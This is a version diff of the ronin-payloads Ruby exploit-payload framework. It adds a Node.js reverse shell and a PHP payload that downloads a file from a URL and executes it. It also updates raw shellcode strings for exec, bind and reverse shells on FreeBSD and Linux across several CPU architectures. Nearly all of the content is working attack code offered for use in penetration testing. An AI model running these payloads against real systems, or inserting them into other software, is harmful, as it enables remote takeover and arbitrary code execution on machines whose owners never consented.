ronin-payloads 0.1.6 → 0.2.0.rc1

data/lib/ronin/payloads/builtin/js/node/reverse_shell.rb

@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+#
+# ronin-payloads - A Ruby micro-framework for writing and running exploit
+# payloads.
+#
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
+#
+# ronin-payloads is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ronin-payloads is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+require 'ronin/payloads/node_js_payload'
+require 'ronin/payloads/mixins/reverse_shell'
+
+module Ronin
+  module Payloads
+    module JS
+      module Node
+        #
+        # A basic node.js JavaScript reverse shell.
+        #
+        # @since 0.2.0
+        #
+        class ReverseShell < NodeJSPayload
+
+          include Mixins::ReverseShell
+
+          register 'js/node/reverse_shell'
+
+          description <<~DESC
+            A basic node.js JavaScript reverse shell.
+          DESC
+
+          #
+          # Builds the node.js JavaScript reverse shell payload.
+          #
+          def build
+            @payload = %{(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(#{port}, #{host.dump}, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();}
+          end
+
+        end
+      end
+    end
+  end
+end

data/lib/ronin/payloads/builtin/php/cmd_exec.rb

@@ -3,7 +3,7 @@
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published

data/lib/ronin/payloads/builtin/php/download_exec.php.erb

@@ -0,0 +1,96 @@
+<?php
+function download_via_fopen($url,$output)
+{
+  $input = fopen($url,'rb');
+
+  if (!$input)
+  {
+    return false;
+  }
+
+  while (!feof($input))
+  {
+    $chunk = fread($input,4096);
+
+    if ($chunk === false)
+    {
+      return false;
+    }
+
+    if (fwrite($output,$chunk) === false)
+    {
+      return false;
+    }
+  }
+
+  return true;
+}
+
+function download_via_curl($url,$output)
+{
+  $ch = curl_init();
+
+  curl_setopt($ch, CURLOPT_URL, $url);
+  curl_setopt($ch, CURLOPT_HEADER, 0);
+  curl_setopt($ch, CURLOPT_FILE, $output);
+
+  $response = curl_exec($ch);
+
+  if ($response === false)
+  {
+    echo "curl: " . curl_error($ch);
+    return false;
+  }
+
+  return true;
+}
+
+function download($url)
+{
+  $filename = basename($url);
+  $dest = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $filename;
+  $output = fopen($dest,'wb');
+
+  if (ini_get('allow_url_fopen'))
+  {
+    if (download_via_fopen($url,$output) === false)
+    {
+      return NULL;
+    }
+  }
+  else if (function_exists('curl_init'))
+  {
+    if (download_via_fopen($url,$output) === false)
+    {
+      return NULL;
+    }
+  }
+
+  fflush($output);
+  fclose($output);
+  return $dest;
+}
+
+function download_and_exec($url)
+{
+  $path = download($url);
+
+  if ($path === NULL)
+  {
+    return false;
+  }
+
+  $perms = fileperms($path);
+  chmod($path,$perms | 0700);
+
+  if (pcntl_fork() == 0)
+  {
+    pcntl_exec($path);
+    exit(0);
+  }
+
+  return true;
+}
+
+download_and_exec(<%= @params[:url].to_s.dump %>);
+?>

data/lib/ronin/payloads/builtin/php/download_exec.rb

@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+#
+# ronin-payloads - A Ruby micro-framework for writing and running exploit
+# payloads.
+#
+# Copyright (c) 2007-2022 Hal Brodigan (postmodern.mod3 at gmail.com)
+#
+# ronin-payloads is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ronin-payloads is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public License
+# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
+#
+
+require 'ronin/payloads/php_payload'
+require 'ronin/payloads/mixins/erb'
+
+module Ronin
+  module Payloads
+    module PHP
+      #
+      # A basic PHP download and exec payload.
+      #
+      # @since 0.2.0
+      #
+      class DownloadExec < PHPPayload
+
+        include Mixins::ERB
+
+        register 'php/download_exec'
+
+        param :url, URI, required: true,
+                         desc:     'The URL to download and execute'
+
+        TEMPLATE = File.join(__dir__,'download_exec.php.erb')
+
+        #
+        # Builds the PHP command exec payload.
+        #
+        def build
+          @payload = erb(TEMPLATE)
+        end
+
+      end
+    end
+  end
+end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -59,7 +58,7 @@ module Ronin
                          "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" \
                          "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" \
                          "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" \
-                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
+                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -54,7 +53,7 @@ module Ronin
             def build
               @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
                          "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
-                         "\x54\x53\xb0\x3b\x50\xcd\x80"
+                         "\x54\x53\xb0\x3b\x50\xcd\x80".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -57,7 +56,7 @@ module Ronin
                          "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
                          "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
                          "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
-                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
+                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -54,7 +53,7 @@ module Ronin
             def build
               @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
                          "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
-                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
+                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -120,7 +119,7 @@ module Ronin
                          "\x08\x00\x8d\xe2" \
                          "\x00\x10\x8d\xe2" \
                          "\x04\x20\x8d\xe2" \
-                         "\x0b\x00\x90\xef"
+                         "\x0b\x00\x90\xef".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -61,7 +60,7 @@ module Ronin
                          "\xc2\x51\x03\x37" \
                          "\x01\xdf\x2f\x62" \
                          "\x69\x6e\x2f\x2f" \
-                         "\x73\x68"
+                         "\x73\x68".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -73,7 +72,7 @@ module Ronin
                          "#{packed_port}" \
                          "#{packed_ipv4}" \
                          \
-                         "/bin/sh\0"
+                         "/bin/sh\0".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -119,7 +118,7 @@ module Ronin
                          "\xf0\xff\xa5\x23" \
                          "\xab\x0f\x02\x24" \
                          "\x0c\x01\x01\x01" \
-                         "/bin/sh"
+                         "/bin/sh".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -52,18 +51,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x28\x06\xff\xff" + # slti    a2,zero,-1
-                         "\x3c\x0f\x2f\x2f" + # lui     t7,0x2f2f
-                         "\x35\xef\x62\x69" + # ori     t7,t7,0x6269
-                         "\xaf\xaf\xff\xf4" + # sw      t7,-12(sp)
-                         "\x3c\x0e\x6e\x2f" + # lui     t6,0x6e2f
-                         "\x35\xce\x73\x68" + # ori     t6,t6,0x7368
-                         "\xaf\xae\xff\xf8" + # sw      t6,-8(sp)
-                         "\xaf\xa0\xff\xfc" + # sw      zero,-4(sp)
-                         "\x27\xa4\xff\xf4" + # addiu   a0,sp,-12
-                         "\x28\x05\xff\xff" + # slti    a1,zero,-1
-                         "\x24\x02\x0f\xab" + # li      v0,4011
-                         "\x01\x01\x01\x0c"   # syscall 0x40404
+              @payload = "\x28\x06\xff\xff".b + # slti    a2,zero,-1
+                         "\x3c\x0f\x2f\x2f".b + # lui     t7,0x2f2f
+                         "\x35\xef\x62\x69".b + # ori     t7,t7,0x6269
+                         "\xaf\xaf\xff\xf4".b + # sw      t7,-12(sp)
+                         "\x3c\x0e\x6e\x2f".b + # lui     t6,0x6e2f
+                         "\x35\xce\x73\x68".b + # ori     t6,t6,0x7368
+                         "\xaf\xae\xff\xf8".b + # sw      t6,-8(sp)
+                         "\xaf\xa0\xff\xfc".b + # sw      zero,-4(sp)
+                         "\x27\xa4\xff\xf4".b + # addiu   a0,sp,-12
+                         "\x28\x05\xff\xff".b + # slti    a1,zero,-1
+                         "\x24\x02\x0f\xab".b + # li      v0,4011
+                         "\x01\x01\x01\x0c".b   # syscall 0x40404
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -101,7 +100,7 @@ module Ronin
                          "\x27\xa4\xff\xf4" \
                          "\x28\x05\xff\xff" \
                          "\x24\x02\x0f\xab" \
-                         "\x01\x01\x01\x0c"
+                         "\x01\x01\x01\x0c".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -52,20 +51,20 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x7c\x3f\x0b\x78" + # mr	r31,r1
-                         "\x7c\xa5\x2a\x79" + # xor.	r5,r5,r5
-                         "\x42\x40\xff\xf9" + # bdzl+	10000454< main>
-                         "\x7f\x08\x02\xa6" + # mflr	r24
-                         "\x3b\x18\x01\x34" + # addi	r24,r24,308
-                         "\x98\xb8\xfe\xfb" + # stb	r5,-261(r24)
-                         "\x38\x78\xfe\xf4" + # addi	r3,r24,-268
-                         "\x90\x61\xff\xf8" + # stw	r3,-8(r1)
-                         "\x38\x81\xff\xf8" + # addi	r4,r1,-8
-                         "\x90\xa1\xff\xfc" + # stw	r5,-4(r1)
-                         "\x3b\xc0\x01\x60" + # li	r30,352
-                         "\x7f\xc0\x2e\x70" + # srawi	r0,r30,5
-                         "\x44\xde\xad\xf2" + # .long	0x44deadf2
-                         "/bin/shZ"  # the last byte becomes NULL
+              @payload = "\x7c\x3f\x0b\x78".b + # mr	r31,r1
+                         "\x7c\xa5\x2a\x79".b + # xor.	r5,r5,r5
+                         "\x42\x40\xff\xf9".b + # bdzl+	10000454< main>
+                         "\x7f\x08\x02\xa6".b + # mflr	r24
+                         "\x3b\x18\x01\x34".b + # addi	r24,r24,308
+                         "\x98\xb8\xfe\xfb".b + # stb	r5,-261(r24)
+                         "\x38\x78\xfe\xf4".b + # addi	r3,r24,-268
+                         "\x90\x61\xff\xf8".b + # stw	r3,-8(r1)
+                         "\x38\x81\xff\xf8".b + # addi	r4,r1,-8
+                         "\x90\xa1\xff\xfc".b + # stw	r5,-4(r1)
+                         "\x3b\xc0\x01\x60".b + # li	r30,352
+                         "\x7f\xc0\x2e\x70".b + # srawi	r0,r30,5
+                         "\x44\xde\xad\xf2".b + # .long	0x44deadf2
+                         "/bin/shZ".b  # the last byte becomes NULL
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -126,7 +125,7 @@ module Ronin
                           "\x3b\xc0\x01\x60" \
                           "\x7f\xc0\x2e\x70" \
                           "\x44\xde\xad\xf2" \
-                          "/bin/shZ"
+                          "/bin/shZ".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -99,7 +98,7 @@ module Ronin
                          "\x68\x2f\x62\x69\x6e" \
                          "\x89\xe3" \
                          "\xb0\x0b" \
-                         "\xcd\x80"
+                         "\xcd\x80".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -55,7 +54,7 @@ module Ronin
             def build
               @payload = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" \
                          "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" \
-                         "\x80"
+                         "\x80".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -63,7 +62,7 @@ module Ronin
                          "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
                          "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                          "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
-                         "\x80"
+                         "\x80".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -60,7 +59,7 @@ module Ronin
                          "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" \
                          "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" \
                          "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" \
-                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
+                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb

@@ -1,10 +1,9 @@
-# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
 # payloads.
 #
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
 #
 # ronin-payloads is free software: you can redistribute it and/or modify
 # it under the terms of the GNU Lesser General Public License as published
@@ -52,16 +51,16 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x48\x31\xd2" +     # xor    %rdx, %rdx
-                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov	$0x68732f6e69622f2f, %rbx
-                         "\x48\xc1\xeb\x08" + # shr    $0x8, %rbx
-                         "\x53" +             # push   %rbx
-                         "\x48\x89\xe7" +     # mov    %rsp, %rdi
-                         "\x50" +             # push   %rax
-                         "\x57" +             # push   %rdi
-                         "\x48\x89\xe6" +     # mov    %rsp, %rsi
-                         "\xb0\x3b" +         # mov    $0x3b, %al
-                         "\x0f\x05"           # syscall
+              @payload = "\x48\x31\xd2".b +     # xor    %rdx, %rdx
+                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov	$0x68732f6e69622f2f, %rbx
+                         "\x48\xc1\xeb\x08".b + # shr    $0x8, %rbx
+                         "\x53".b +             # push   %rbx
+                         "\x48\x89\xe7".b +     # mov    %rsp, %rdi
+                         "\x50".b +             # push   %rax
+                         "\x57".b +             # push   %rdi
+                         "\x48\x89\xe6".b +     # mov    %rsp, %rsi
+                         "\xb0\x3b".b +         # mov    $0x3b, %al
+                         "\x0f\x05".b           # syscall
             end
 
           end